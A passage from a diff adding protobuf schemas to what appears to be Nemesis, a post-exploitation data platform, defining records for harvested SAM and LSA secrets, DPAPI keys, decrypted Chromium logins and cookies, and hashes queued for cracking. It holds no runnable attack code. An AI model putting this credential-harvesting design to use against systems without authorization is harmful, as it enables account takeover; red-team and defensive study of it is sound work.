+// Addresses are expected to conform to the public standard for the address
+// type but there is no verification of this as well.
+// As an example, ethernet addresses are expected to use a hyphen as a separator
+// instead of a colon as per IEEE 802.3 but this is not verified.
+//
+// The protocol list and matching source and destination lists represent the
+// protocol stack used for a connection. The lists only need to represent a
+// portion of the protocol stack and do not need to represent the entirety of
+// it. The lists allow the ODR to be reused for any connection type an operator
+// may be interested in without having to make a new ODR for each new connection
+// type.
+//
+// local_address is treated as source, remote_address is treated as destination
+//
+message NetworkConnectionIngestion {
+ // Local/source address for the connection
+ string local_address = 1;
+
+ // Remote/destination address for the connection
+ string remote_address = 2;
+
+ // Protocol specification ("tcp,ipv4", "udp,ipv4", "tcp,ipv6", etc.)
+ string protocol = 3;
+
+ // Optional - case insensitive state of the connection (e.g., listen, established, etc.)
+ string state = 4;
+
+ // Optional - process ID handling the connection
+ uint32 process_id = 5;
+
+ // Optional - process name/command line handling the connection
+ string process_name = 6;
+
+ // Optional - service name handling the connection
+ string service = 7;
+}
+message NetworkConnectionIngestionMessage {
+ Metadata metadata = 1;
+ repeated NetworkConnectionIngestion data = 2;
+}
+
+
+////////////////////////////////////////////////////
+//
+// file_data parsed file format messages
+//
+////////////////////////////////////////////////////
+
+
+message SlackWorkspaces {
+ message SlackWorkspace {
+ string username = 1;
+ string workspace_id = 2;
+ string workspace_domain = 3;
+ string workspace_name = 4;
+ string workspace_icon_url = 5;
+ }
+ repeated SlackWorkspace workspaces = 1;
+}
+
+
+message SlackDownloads {
+ message SlackDownload {
+ string username = 1;
+ string workspace_id = 2;
+ string download_id = 3;
+ string team_id = 4;
+ string user_id = 5;
+ string url = 6;
+ string download_path = 7;
+ string download_state = 8;
+ google.protobuf.Timestamp start_time = 9;
+ google.protobuf.Timestamp end_time = 10;
+ }
+ repeated SlackDownload downloads = 1;
+}
+
+
+message Lnk {
+ string target = 1;
+ string working_directory = 2;
+ string command_line_arguments = 3;
+ string machine_identifier = 4;
+ string comment = 5;
+ uint64 target_file_size = 6;
+ string location = 7; // "local" or "remote"
+ bool run_as_admin = 8;
+ google.protobuf.Timestamp creation_time = 10;
+ google.protobuf.Timestamp accessed_time = 11;
+ google.protobuf.Timestamp modified_time = 12;
+}
+
+
+message Passwd {
+ message PasswdEntry {
+ string username = 1;
+ string user_id = 2;
+ string group_id = 3;
+ string home_directory = 4;
+ string shell = 5;
+ }
+ repeated PasswdEntry entries = 1;
+}
+
+
+message Shadow {
+ message ShadowEntry {
+ string username = 1;
+ google.protobuf.Timestamp password_last_changed = 2;
+ string password = 3;
+ }
+ repeated ShadowEntry entries = 1;
+}
+
+
+// .doc/.ppt/.xls/etc.
+message OfficeDocOle {
+ string title = 1;
+ string creator = 2;
+ google.protobuf.Timestamp created = 3;
+ google.protobuf.Timestamp modified = 4;
+ string keywords = 5;
+ string comments = 6;
+ string last_modified_by = 7;
+ string subject = 8;
+ string creating_application = 9;
+ uint32 total_edit_time = 10;
+ uint32 num_pages = 11;
+ uint32 num_slides = 12;
+ uint32 num_chars = 13;
+ bool is_encrypted = 15;
+ optional string encryption_hash = 16; // office2john hash representing the document password
+}
+
+
+// .docx/.pptx/.xlsx/etc.
+message OfficeDocNew {
+ string title = 1;
+ string creator = 2;
+ google.protobuf.Timestamp created = 3;
+ google.protobuf.Timestamp modified = 4;
+ string description = 5;
+ string keywords = 6;
+ string last_modified_by = 7;
+ string subject = 8;
+ uint32 revision = 9;
+ bool is_encrypted = 10;
+ optional string encryption_hash = 11; // office2john hash representing the document password
+}
+
+
+message Pdf {
+ uint32 num_pages = 1;
+ string title = 2;
+ string author = 3;
+ string subject = 4;
+ string creator = 5;
+ string producer = 6;
+ google.protobuf.Timestamp created = 7;
+ google.protobuf.Timestamp modified = 8;
+ repeated string keywords = 9;
+ bool is_encrypted = 10;
+ optional string encryption_hash = 11; // pdf2john hash representing the document password
+}
+
+
+message GroupPolicyPreferences {
+ message GroupPolicyPreferencesEntry {
+ string username = 1;
+ string cpassword = 2;
+ string password = 3;
+ string newname = 4;
+ string description = 5;
+ google.protobuf.Timestamp changed = 6;
+ string action = 7;
+ bool disabled = 8;
+ bool never_expires = 9;
+ }
+ repeated GroupPolicyPreferencesEntry entries = 1;
+}
+
+
+message McafeeSitelist {
+ message McafeeSitelistEntry {
+ string name = 1;
+ string type = 2;
+ string username = 3;
+ string password = 4;
+ string password_encrypted = 5;
+ bool enabled = 6;
+ bool local = 7;
+ string server = 8;
+ string domain_name = 9;
+ string share_name = 10;
+ bool useauth = 11;
+ string relativepath = 12;
+ bool used_loggedon_user_account = 13;
+ }
+ repeated McafeeSitelistEntry entries = 1;
+}
+
+
+message Tomcat {
+ message TomcatEntry {
+ string username = 1;
+ string password = 2;
+ repeated string roles = 3;
+ }
+ repeated string roles = 1;
+ repeated TomcatEntry entries = 2;
+}
+
+
+message JWTToken {
+ string key = 1;
+ string issuer = 2;
+ string audience = 3;
+ string minutes_to_expiration = 4;
+}
+message DatabaseCredential {
+ string type = 1;
+ string server = 2;
+ string database = 3;
+ string username = 4;
+ string password = 5;
+}
+message ConnectionString {
+ string name = 1;
+ string provider_name = 2;
+ string connection_string = 3;
+ DatabaseCredential database_credential = 4;
+}
+
+
+message WebConfig {
+ repeated ConnectionString connection_strings = 1;
+}
+
+
+message AppSettings {
+ repeated ConnectionString connection_strings = 1;
+ repeated JWTToken jwt_tokens = 2;
+}
+
+
+// Used in Pe - TODO: combine into one block?
+enum VerificationFlags {
+ OK = 0;
+ INVALID_SIGNER = 1;
+ UNSUPPORTED_ALGORITHM = 2;
+ INCONSISTENT_DIGEST_ALGORITHM = 4;
+ CERT_NOT_FOUND = 8;
+ CORRUPTED_CONTENT_INFO = 16;
+ CORRUPTED_AUTH_DATA = 32;
+ MISSING_PKCS9_MESSAGE_DIGEST = 64;
+ BAD_DIGEST = 128;
+ NO_SIGNATURE = 512;
+ BAD_SIGNATURE = 256;
+ CERT_EXPIRED = 1024;
+ CERT_FUTURE = 2048;
+}
+message Signature {
+ uint32 version = 1;
+ repeated string signers = 2;
+ VerificationFlags verification_flags = 3;
+}
+message Header {
+ uint32 major_image_version = 1;
+ uint32 major_linker_version = 2;
+ uint32 major_operating_system_version = 3;
+ uint32 major_subsystem_version = 4;
+ uint32 minor_image_version = 5;
+ uint32 minor_linker_version = 6;
+ uint32 minor_operating_system_version = 7;
+ uint32 minor_subsystem_version = 8;
+ google.protobuf.Timestamp time_date_stamp = 9;
+}
+message Symbol {
+ string func_name = 1;
+ uint64 offset = 2;
+ int32 ordinal = 3;
+}
+message Exports {
+ repeated Symbol symbols = 1;
+}
+message Dll {
+ string name = 1;
+ repeated Symbol symbols = 2;
+}
+message Imports {
+ repeated Dll dlls = 1;
+}
+message VersionInfo {
+ string assembly_version = 1;
+ string comments = 2;
+ string company_name = 3;
+ string file_description = 4;
+ string file_version = 5;
+ string internal_name = 6;
+ string legal_copyright = 7;
+ string legal_trademarks = 8;
+ string original_filename = 9;
+ string private_build = 10;
+ string product_name = 11;
+ string product_version = 12;
+ string special_build = 13;
+}
+message Pe {
+ Header header = 1;
+ Exports exports = 2;
+ Imports imports = 3;
+ VersionInfo version_info = 4;
+ repeated string string_resources = 5;
+ repeated Signature signatures = 6;
+}
+
+
+// Used in DotnetAssembly - TODO: combine into one block
+message Resource {
+ string name = 1;
+ string md5 = 2;
+ string sha1 = 3;
+ string sha256 = 4;
+}
+message Typeref {
+ string module_name = 1;
+ string function_name = 2;
+}
+message ImplMapEntry {
+ string module_name = 1;
+ string function_name = 2;
+}
+message DotnetAssembly {
+ Header header = 1;
+ Exports exports = 3;
+ Imports imports = 5;
+ VersionInfo version_info = 7;
+ repeated string string_resources = 9;
+ repeated Signature signatures = 11;
+ repeated Resource resources = 13;
+ string pdb_string = 15;
+ string dotnet_version = 17;
+ repeated Typeref typerefs = 19;
+ repeated ImplMapEntry impl_map_entries = 21;
+}
+
+
+message Archive {
+ message ArchiveEntry {
+ string name = 1;
+ bool is_dir = 2;
+ uint32 compress_size = 3;
+ uint32 uncompress_size = 4;
+ google.protobuf.Timestamp last_modified = 5;
+ }
+ string type = 1;
+ bool is_encrypted = 3;
+ uint32 uncompressed_size = 5;
+ optional string encryption_hash = 7; // *2john hash representing the archive password
+ repeated ArchiveEntry entries = 10;
+}
+
+
+message RegHiveSystem {
+ bytes boot_key = 1;
+}
+
+message DomainCachedCredential{
+ // true if the hive values are decrypted
+ bool is_decrypted = 1;
+
+ // raw bytes extracted from the registry key
+ bytes enc_raw_value = 2;
+
+ // DOMAIN.CORP/username
+ string domain_long = 3;
+
+ // username
+ string user_name = 4;
+
+ // counts for Vista style iteration
+ int32 iteration_count = 5;
+
+ // bytes of the decoded domain cached hash
+ bytes cached_hash = 6;
+
+ // string representation of the crackable hash
+ string answer = 7;
+
+ // timestamp of the login, UTC
+ google.protobuf.Timestamp timestamp = 8;
+}
+message LSASecret {
+ // name of the secret
+ string name = 1;
+
+ // true if the value is decrypted
+ bool is_decrypted = 2;
+
+ // encrypted bytes of the secret
+ bytes value_enc = 3;
+
+ // decrypted bytes of the secret
+ bytes value_dec = 4;
+
+ // string representation of the decrypted secret
+ string value_dec_str = 5;
+}
+message RegHiveSecurity {
+ // true if the hive values are decrypted
+ bool is_decrypted = 1;
+
+ // true if hive is post XP
+ bool vista_style = 2;
+
+ // enc/dec bytes of the LSASecret
+ bytes lsa_secret_key_enc = 5;
+ bytes lsa_secret_key_dec = 6;
+
+ // enc/dec bytes of the NLKM key
+ bytes nlkm_secret_enc = 7;
+ bytes nlkm_secret_dec = 8;
+
+ // one or more LSA secrets
+ repeated LSASecret lsa_secrets = 10;
+
+ // one or more domain cached creds
+ repeated DomainCachedCredential domain_cached_credentials = 12;
+}
+
+
+message SamHash {
+ // true if the value is decrypted
+ bool is_decrypted = 1;
+
+ // true if the hash is a "new style" hash
+ bool new_style = 2;
+
+ // name of the local user account
+ string username = 3;
+
+ // RID of the local user account
+ uint32 rid = 4;
+
+ // bytes of the enc/dec LM hash value
+ bytes lm_hash_enc = 5;
+ bytes lm_hash_dec = 6;
+
+ // bytes of the enc/dec NT hash value
+ bytes nt_hash_enc = 7;
+ bytes nt_hash_dec = 8;
+
+ // string representation of the total hash
+ string answer = 10;
+}
+message RegHiveSam {
+ // true if the hive values are decrypted
+ bool is_decrypted = 1;
+
+ // bytes of the encrypted source for the HashedBootKey
+ bytes f_bytes = 2;
+
+ // bytes of the decrypted HashedBootKey
+ bytes hashed_boot_key = 3;
+
+ // one or more local SAM hashes
+ repeated SamHash sam_hashes = 5;
+}
+
+
+// RawParsedData is for unstructured data meant for the user instead of an automated pipeline
+message RawParsedData {
+ string data = 1;
+}
+
+
+// not yet used
+message DpapiCredentialAttribute {
+ // https://github.com/fortra/impacket/blob/8799a1a2c42ad74423841d21ed5f4193ea54f3d5/impacket/dpapi.py#L850-L862
+
+ uint32 flags = 1;
+
+ string keyword = 2;
+
+ bytes data = 3;
+}
+message DpapiCredentialFile {
+ // https://github.com/fortra/impacket/blob/8799a1a2c42ad74423841d21ed5f4193ea54f3d5/impacket/dpapi.py#L196-L204
+ enum CREDENTIAL_FLAGS {
+ CRED_FALGS_UNKNOWN = 0x0;
+ CRED_FLAGS_PASSWORD_FOR_CERT = 0x1;
+ CRED_FLAGS_PROMPT_NOW = 0x2;
+ CRED_FLAGS_USERNAME_TARGET = 0x4;
+ CRED_FLAGS_OWF_CRED_BLOB = 0x8;
+ CRED_FLAGS_REQUIRE_CONFIRMATION = 0x10;
+ CRED_FLAGS_WILDCARD_MATCH = 0x20;
+ CRED_FLAGS_VSM_PROTECTED = 0x40;
+ CRED_FLAGS_NGC_CERT = 0x80;
+ }
+ // https://github.com/fortra/impacket/blob/8799a1a2c42ad74423841d21ed5f4193ea54f3d5/impacket/dpapi.py#L216-L220
+ enum CREDENTIAL_PERSIST {
+ CRED_PERSIST_NONE = 0x0;
+ CRED_PERSIST_SESSION = 0x1;
+ CRED_PERSIST_LOCAL_MACHINE = 0x2;
+ CRED_PERSIST_ENTERPRISE = 0x3;
+ }
+ // https://github.com/fortra/impacket/blob/8799a1a2c42ad74423841d21ed5f4193ea54f3d5/impacket/dpapi.py#L206=L214
+ enum CREDENTIAL_TYPE {
+ CRED_TYPE_UNKNOWN = 0x0;
+ CRED_TYPE_GENERIC = 0x1;
+ CRED_TYPE_DOMAIN_PASSWORD = 0x2;
+ CRED_TYPE_DOMAIN_CERTIFICATE = 0x3;
+ CRED_TYPE_DOMAIN_VISIBLE_PASSWORD = 0x4;
+ CRED_TYPE_GENERIC_CERTIFICATE = 0x5;
+ CRED_TYPE_DOMAIN_EXTENDED = 0x6;
+ CRED_TYPE_MAXIMUM = 0x7;
+ CRED_TYPE_MAXIMUM_EX = 0x8;
+ }
+
+ // unique identifier of the carved DPAPI blob ID that decrypts to the data below
+ // TODO: how to exactly handle this being decrypted?
+ string dpapi_blob_id = 1;
+
+ google.protobuf.Timestamp last_written = 5;
+
+ CREDENTIAL_FLAGS flags = 6;
+
+ CREDENTIAL_PERSIST persist = 7;
+
+ CREDENTIAL_TYPE type = 8;
+
+ string comment = 10;
+
+ string target = 12;
+
+ string target_alias = 14;
+
+ string username = 16;
+
+ string credential = 18;
+
+ repeated DpapiCredentialAttribute credential_attribute = 20;
+}
+
+
+message ChromiumHistoryFile {
+ string user_data_directory = 1;
+ string browser = 2;
+ string username = 3;
+ uint32 urls_count = 4;
+ uint32 downloads_count = 5;
+}
+
+
+message ChromiumLoginsFile {
+ string user_data_directory = 1;
+ string browser = 2;
+ string username = 3;
+ uint32 logins_count = 4;
+}
+
+
+message ChromiumCookiesFile {
+ string user_data_directory = 1;
+ string browser = 2;
+ string username = 3;
+ uint32 cookies_count = 4;
+}
+
+
+message ChromiumStateFile {
+ string user_data_directory = 1;
+ string browser = 2;
+ string username = 3;
+ google.protobuf.Timestamp installation_date = 5;
+ uint32 launch_count = 6;
+ string masterkey_guid = 10;
+ bytes key_bytes_enc = 11;
+ bytes app_bound_fixed_data_enc = 12;
+ bool is_decrypted = 13;
+ bytes key_bytes_dec = 14;
+ bytes app_bound_fixed_data_dec = 15;
+ string originating_object_id = 20;
+}
+
+
+message EvtxFile {
+ string converted_csv = 1; // Nemesis UUID
+ string converted_json = 3; // Nemesis UUID
+ string originating_object_id = 5; // Nemesis UUID
+}
+
+
+// Represents any file data type specifically parsed by Nemesis
+// This is the container for the above section of messages
+message ParsedData {
+ oneof data_type {
+ string error = 1;
+ Pe pe = 10;
+ DotnetAssembly dotnet_assembly = 12;
+ Passwd passwd = 14;
+ Shadow shadow = 16;
+ OfficeDocNew office_doc_new = 17;
+ OfficeDocOle office_doc_ole = 18;
+ Pdf pdf = 19;
+ GroupPolicyPreferences group_policy_preferences = 20;
+ McafeeSitelist mcafee_sitelist = 22;
+ WebConfig web_config = 24;
+ AppSettings appsettings = 26;
+ Tomcat tomcat = 28;
+ Archive archive = 30;
+ Lnk lnk = 31;
+ RawParsedData raw_parsed_data = 35;
+
+ DpapiMasterkey dpapi_masterkey = 40;
+ DpapiCredentialFile dpapi_credential = 42;
+ // DpapiVault dpapi_vault = 43;
+
+ ChromiumHistoryFile chromium_history = 45;
+ ChromiumLoginsFile chromium_logins = 46;
+ ChromiumCookiesFile chromium_cookies = 47;
+ ChromiumStateFile chromium_state_file = 48;
+
+ SlackDownloads slack_downloads = 50;
+ SlackWorkspaces slack_workspaces = 51;
+
+ RegHiveSystem reg_hive_system = 55;
+ RegHiveSecurity reg_hive_security = 56;
+ RegHiveSam reg_hive_sam = 57;
+
+ EvtxFile evtx_file = 60;
+ }
+ // true if the parsed data has some kind of hash/password parsed
+ bool has_parsed_credentials = 5;
+
+ // true if the file is encrypted in some way
+ bool is_encrypted = 7;
+}
+
+
+////////////////////////////////////////////////////
+//
+// Analysis messages
+//
+////////////////////////////////////////////////////
+
+message DotnetAnalysis {
+ message GadgetCall {
+ string gadget_name = 1;
+ string method_name = 2;
+ string filter_level = 3;
+ }
+ bool has_deserialization = 1;
+ bool has_cmd_execution = 2;
+ bool has_remoting = 3;
+ repeated string remoting_channels = 5;
+ bool is_wcf_server = 7;
+ bool is_wcf_client = 9;
+ repeated GadgetCall serialization_gadget_calls = 11;
+ repeated GadgetCall wcf_server_calls = 13;
+ repeated GadgetCall client_calls = 15;
+ repeated GadgetCall remoting_calls = 17;
+ repeated GadgetCall cmd_execution_calls = 19;
+}
+
+message Analysis {
+ oneof analysis_type {
+ DotnetAnalysis dotnet_analysis = 1;
+ }
+}
+
+
+////////////////////////////////////////////////////
+//
+// Other internal Chromium messages
+//
+////////////////////////////////////////////////////
+
+message ChromiumHistoryEntry {
+ string originating_object_id = 1;
+ string user_data_directory = 2;
+ string username = 3;
+ string browser = 4;
+ string url = 5;
+ string title = 6;
+ uint32 visit_count = 7;
+ uint32 typed_count = 8;
+ google.protobuf.Timestamp last_visit_time = 9;
+}
+message ChromiumHistoryMessage {
+ Metadata metadata = 1;
+ repeated ChromiumHistoryEntry data = 2;
+}
+
+
+message ChromiumDownload {
+ string originating_object_id = 1;
+ string user_data_directory = 2;
+ string username = 3;
+ string browser = 4;
+ string url = 5;
+ string download_path = 6;
+ google.protobuf.Timestamp start_time = 7;
+ google.protobuf.Timestamp end_time = 8;
+ uint32 total_bytes = 9;
+ string danger_type = 10;
+}
+message ChromiumDownloadMessage {
+ Metadata metadata = 1;
+ repeated ChromiumDownload data = 2;
+}
+
+
+message ChromiumLogin {
+ string originating_object_id = 1;
+ string user_data_directory = 2;
+ string username = 3;
+ string browser = 4;
+ string origin_url = 5;
+ string username_value = 6;
+ string signon_realm = 7;
+ google.protobuf.Timestamp date_created = 8;
+ google.protobuf.Timestamp date_last_used = 9;
+ google.protobuf.Timestamp date_password_modified = 10;
+ uint32 times_used = 11;
+ bytes password_value_enc = 15;
+ string encryption_type = 16;
+ string masterkey_guid = 17;
+ bool is_decrypted = 20;
+ string password_value_dec = 21;
+}
+message ChromiumLoginMessage {
+ Metadata metadata = 1;
+ repeated ChromiumLogin data = 2;
+}
+
+
+message ChromiumCookie {
+ string originating_object_id = 1;
+ string user_data_directory = 2;
+ string username = 3;
+ string browser = 4;
+ string host_key = 5;
+ string name = 6;
+ string path = 7;
+ google.protobuf.Timestamp creation = 8;
+ google.protobuf.Timestamp expires = 9;
+ google.protobuf.Timestamp last_access = 10;
+ google.protobuf.Timestamp last_update = 11;
+ bool is_secure = 12;
+ bool is_httponly = 13;
+ bool is_session = 14;
+ string samesite = 15;
+ int32 source_port = 16;
+ bytes value_enc = 20;
+ string encryption_type = 21;
+ string masterkey_guid = 22;
+ bool is_decrypted = 24;
+ string value_dec = 25;
+ string classification = 30; // added in enrichment
+}
+message ChromiumCookieMessage {
+ Metadata metadata = 1;
+ repeated ChromiumCookie data = 2;
+}
+
+
+message ChromiumStateFileMessage {
+ Metadata metadata = 1;
+ repeated ChromiumStateFile data = 2;
+}
+
+
+////////////////////////////////////////////////////
+//
+// DPAPI
+//
+////////////////////////////////////////////////////
+
+message DpapiDomainBackupkey {
+ // the unique GUID identifying the domain backup key
+ string domain_backupkey_guid = 1;
+
+ // the FQDN of the domain controller the backup key was retrieved from
+ string domain_controller = 3;
+
+ // the actual bytes of the domain backupkey
+ bytes domain_backupkey_bytes = 5;
+}
+message DpapiDomainBackupkeyMessage {
+ Metadata metadata = 1;
+ repeated DpapiDomainBackupkey data = 2;
+}
+
+
+// also used in ParsedData
+message DpapiMasterkey {
+ // the Nemesis UUID returned by the web-api/file endpoint, also the name the file is stored as in S3
+ string object_id = 1;
+
+ // whether this is a "domain_user, "local_user", or "machine" masterkey
+ string type = 2;
+
+ // the username the masterkey belongs to
+ string username = 3;
+
+ // the SID of the user the masterkey belongs to
+ string user_sid = 4;
+
+ // the GUID that identifies that masterkey
+ string masterkey_guid = 5;
+
+ // true if the key has been decrypted
+ bool is_decrypted = 6;
+
+ // the raw bytes of the masterkey subkey
+ bytes masterkey_bytes = 7;
+
+ // bytes backupkey_bytes = 8;
+ // bytes credhist_bytes = 9;
+
+ // GUID of the domain master/backup key
+ string domain_backupkey_guid = 10;
+
+ // bytes encrypted by the domain backup key
+ bytes domainkey_pb_secret = 11;
+
+ // the full decrypted master key
+ bytes decrypted_key_full = 12;
+
+ // the sha1 representation of the masterkey
+ bytes decrypted_key_sha1 = 13;
+}
+message DpapiMasterkeyMessage {
+ Metadata metadata = 1;
+ repeated DpapiMasterkey data = 2;
+}
+
+
+message DpapiBlob {
+ // unique identifier so originating documents can keep track of which DPAPI blobs were extracted from it
+ // in this case this ID does NOT refer to a file in S3
+ string dpapi_blob_id = 1;
+
+ // the Nemesis UUID referencing the original file the dpapi blob was extracted from
+ string originating_object_id = 3;
+
+ // the Nemesis UUID referencing the registry key the dpapi blob was extracted from
+ string originating_registry_id = 4;
+
+ // the GUID of the masterkey for the blob
+ string masterkey_guid = 5;
+
+ // true if enc_data/dec_data are references to a binary submission (UUID in S3)
+ bool is_file = 7;
+
+ // true if the dpapi blob has been decrypted
+ bool is_decrypted = 9;
+
+ // If the encrypted data is < 1024 bytes it will be stored as bytes in this field
+ bytes enc_data_bytes = 11;
+
+ // If the encrypted data is > 1024 bytes it will be will be stored in S3 as a UUID file
+ string enc_data_object_id = 13;
+
+ // If the decrypted data is < 1024 bytes it will be stored as bytes in this field
+ bytes dec_data_bytes = 15;
+
+ // If the decrypted data is > 1024 bytes it will be will be stored in S3 as a UUID file
+ string dec_data_object_id = 17;
+}
+message DpapiBlobMessage {
+ Metadata metadata = 1;
+ repeated DpapiBlob data = 2;
+}
+
+
+////////////////////////////////////////////////////
+//
+// Internal "enriched" schema messages
+//
+////////////////////////////////////////////////////
+
+message ServiceEnriched {
+ // Original service data ingested
+ ServiceIngestion origin = 1;
+
+ // Categorization information about the service
+ string category = 2;
+
+ // Enrichments that ran and succeeded
+ repeated string enrichments_success = 3;
+
+ // Enrichments that ran but failed
+ repeated string enrichments_failure = 4;
+}
+
+message ServiceEnrichedMessage {
+ Metadata metadata = 1;
+ repeated ServiceEnriched data = 2;
+}
+
+
+message ProcessCategory {
+ // The category of the type of process (AV, EDR, infrastructure, etc.)
+ string category = 1;
+
+ // A description of process
+ optional string description = 2;
+}
+
+message ProcessEnriched {
+ // Original process data ingested
+ ProcessIngestion origin = 1;
+
+ // Categorization information about the process
+ ProcessCategory category = 2;
+
+ // Enrichments that ran and succeeded
+ repeated string enrichments_success = 3;
+
+ // Enrichments that ran but failed
+ repeated string enrichments_failure = 4;
+}
+
+message ProcessEnrichedMessage {
+ Metadata metadata = 1;
+ repeated ProcessEnriched data = 2;
+}
+
+
+// Protobuf representation of NoseyParker JSON output
+message NoseyParker {
+
+ message Offset_span {
+ uint32 start = 1;
+ uint32 end = 2;
+ }
+
+ message Start {
+ uint32 line = 1;
+ uint32 column = 2;
+ }
+
+ message End {
+ uint32 line = 1;
+ uint32 column = 2;
+ }
+
+ message Source_span {
+ Start start = 1;
+ End end = 2;
+ }
+
+ message Location {
+ Offset_span offset_span = 1;
+ Source_span source_span = 2;
+ }
+
+ message Snippet {
+ string before = 1;
+ string matching = 2;
+ string after = 3;
+ }
+
+ message Provenance {
+ string kind = 1;
+ string path = 2;
+ }
+
+ message Matches {
+ string blob_id = 1;
+ Location location = 2;
+ uint32 capture_group_index = 3;
+ string match_content = 4;
+ Snippet snippet = 5;
+ string rule_name = 6;
+ Provenance provenance = 7;
+ }
+
+ message RuleMatches {
+ string rule_name = 1;
+ string match_content = 2;
+ uint32 num_matches = 3;
+ repeated Matches matches = 4;
+ }
+
+ repeated RuleMatches rule_matches = 1;
+ bool has_matches = 2;
+}
+
+
+message Canaries {
+ message Canary {
+ string type = 1;
+ repeated string data = 2;
+ }
+ bool canaries_present = 1;
+ repeated Canary canaries = 2;
+}
+message FileHashes {
+ string md5 = 1;
+ string sha1 = 2;
+ string sha256 = 3;
+}
+message FileDataEnriched {
+ // the Nemesis UUID returned by the web-api/file endpoint, also the name the file is stored as in S3
+ string object_id = 1;
+
+ // If the file was extracted from another existing file in Nemesis (e.g., a zip or jar),
+ // this optional field is the Nemesis UUID referencing the original file
+ string originating_object_id = 2;
+
+ // Enrichments that ran and succeeded
+ repeated string enrichments_success = 3;
+
+ // Enrichments that ran but failed
+ repeated string enrichments_failure = 4;
+
+ // The path must be in a UNC, file system, or mapped path format. File system and mapped paths must be
+ // absolute and use forward slashes for separators (e.g. /).
+ string path = 5;
+
+ // Size of the file, in bytes
+ uint64 size = 6;
+
+ // The base file name
+ string name = 7;
+
+ // The file extension
+ string extension = 8;
+
+ // Various hashes for the file
+ FileHashes hashes = 10;
+
+ // The "Nemesis file type", i.e. any format defined in /cmd/file-processor/file_types/
+ string nemesis_file_type = 11;
+
+ // The magic mime type returned from libmagic (a la the `file` command)
+ string magic_type = 13;
+
+ // True if the file is binary, False if it's text
+ bool is_binary = 15;
+
+ // True if the file is a supported source code file extension
+ bool is_source_code = 16;
+
+ // True if the file is an office form consumed by Tika for text extraction
+ bool is_office_doc = 17;
+
+ // any Nemesis-specific data parsed from the file
+ ParsedData parsed_data = 19;
+
+ // any file analysis (e.g., dotnet analysis)
+ Analysis analysis = 21;
+
+ // if the document was converted to a PDF, this is the Nemesis object_id/UUID referring to that file in S3
+ string converted_pdf = 23;
+
+ // if the document had plaintext extracted, this is the Nemesis object_id/UUID referring to that file in S3
+ optional string extracted_plaintext = 25;
+
+ // if the binary had source code extracted (i.e., .NET decompilation), this is the Nemesis object_id/UUID referring to that file in S3
+ string extracted_source = 27;
+
+ // any NoseyParker results if this file wasn't binary
+ NoseyParker noseyparker = 29;
+
+ // any Yara rule matches
+ repeated string yara_matches = 31;
+
+ // possible document canaries
+ Canaries canaries = 33;
+
+ // true if the file contains DPAPI data
+ bool contains_dpapi = 40;
+
+ // one or more object_id's that refer to DpapiBlob structures that were extracted from this file
+ repeated string dpapi_blobs = 42;
+}
+message FileDataEnrichedMessage {
+ Metadata metadata = 1;
+ repeated FileDataEnriched data = 2;
+}
+
+
+// Hashes extracted from processed files
+message ExtractedHash {
+ // md5/sha1/etc.
+ string hash_type = 1;
+
+ // actual hash data
+ string hash_value = 2;
+
+ // the Nemesis UUID referencing the original file the hash was extracted from
+ string originating_object_id = 3;
+
+ // hash value formatted for Hashcat
+ string hashcat_formatted_value = 5;
+
+ // hash value formatted for JohnTheRipper
+ string jtr_formatted_value = 6;
+
+ // whether the hash has been cracked
+ bool is_cracked = 10;
+
+ // if cracked, the jtr pot value
+ string jtr_pot_line = 11;
+
+ // whether the value was checked against the top X passwords with JTR
+ bool checked_against_top_passwords = 12;
+
+ // if cracked, the plaintext value
+ string plaintext_value = 13;
+
+ // not yet used
+ bool is_submitted_to_cracker = 20;
+
+ // not yet used
+ google.protobuf.Timestamp cracker_submission_time = 21;
+
+ // not yet used
+ google.protobuf.Timestamp cracker_cracked_time = 22;
+}
+message ExtractedHashMessage {
+ Metadata metadata = 1;
+ repeated ExtractedHash data = 2;
+}
+
+
+message FileDataPlaintext {
+ message PasswordCandidate {
+ // "Candidate" password matches (from regex/ML models)
+ string left_context = 1;
+ string password = 2;
+ string right_context = 3;
+ }
+
+ // the Nemesis UUID referencing the plaintext file in S3
+ string object_id = 1;
+
+ // Enrichments that ran and succeeded
+ repeated string enrichments_success = 2;
+
+ // Enrichments that ran but failed
+ repeated string enrichments_failure = 3;
+
+ // the Nemesis UUID referencing the original file the plaintext was extracted from
+ string originating_object_id = 5;
+
+ // if the originating document was converted to a PDF, this is the Nemesis object_id/UUID referring to that file in S3
+ string originating_object_converted_pdf = 6;
+
+ // the path of the originating downloaded file/object, if it exists
+ string originating_object_path = 7;
+
+ // the size (in bytes) of the originating file/object, if it exists
+ uint64 originating_object_size = 8;
+
+ // number of individual tokens
+ uint64 word_count = 9;
+
+ // short summary of the text
+ string summary = 11;
+
+ // any extracted model password candidates
+ repeated PasswordCandidate model_passwords = 20;
+
+ // any extracted regex password candidates
+ repeated PasswordCandidate regex_passwords = 22;
+
+ // any NoseyParker results (including hashes) for the plaintext
+ NoseyParker noseyparker = 24;
+}
+message FileDataPlaintextMessage {
+ Metadata metadata = 1;
+ repeated FileDataPlaintext data = 2;
+}
+
+
+message FileDataSourcecode {
+ // the Nemesis UUID referencing the source code file in S3
+ string object_id = 1;
+
+ // If the file was extracted from another existing file in Nemesis (e.g., a zip or jar),
+ // this optional field is the Nemesis UUID referencing the original file
+ string originating_object_id = 2;
+
+ // The path must be in a UNC, file system, or mapped path format. File system and mapped paths must be
+ // absolute and use forward slashes for separators (e.g. /).
+ string path = 3;
+
+ // The base file name
+ string name = 4;
+
+ // The file extension
+ string extension = 5;
+
+ // Language for the source code file
+ string language = 7;
+
+ // Size of the file, in bytes
+ uint64 size = 9;
+}
+message FileDataSourcecodeMessage {
+ Metadata metadata = 1;
+ repeated FileDataSourcecode data = 2;
+}
+
+
+message Process {
+ // The name of the process
+ string name = 1;
+
+ // The current command line information
+ string command_line = 2;
+
+ // If known, the file that was executed
+ string file_name = 3;
+
+ // Process id
+ uint32 process_id = 5;
+
+ // Parent process id
+ uint32 parent_process_id = 7;
+
+ // Architecture of the process
+ string arch = 8;
+
+ // When the process was started
+ google.protobuf.Timestamp start_time = 10;
+
+ // The amount of memory used by the process, in bytes
+ uint64 memory = 11;
+
+ // If present, Windows token information
+ Token token = 12;
+}
+message ProcessMessage {
+ Metadata metadata = 1;
+ repeated Process data = 2;
+}
+
+
+/////////////////////////////////////////////////////
+//
+// Not yet used
+//
+/////////////////////////////////////////////////////
+
+
+// Addresses that may be used to refer to the host the agent is running on or a
+// network resource on the host. Addresses are expected to conform to the public
+// standard for the address type but there is no verification of this. As an
+// example, ethernet addresses are expected to use a hyphen as a separator
+// instead of a colon as per IEEE 802.3 but this is not verified.
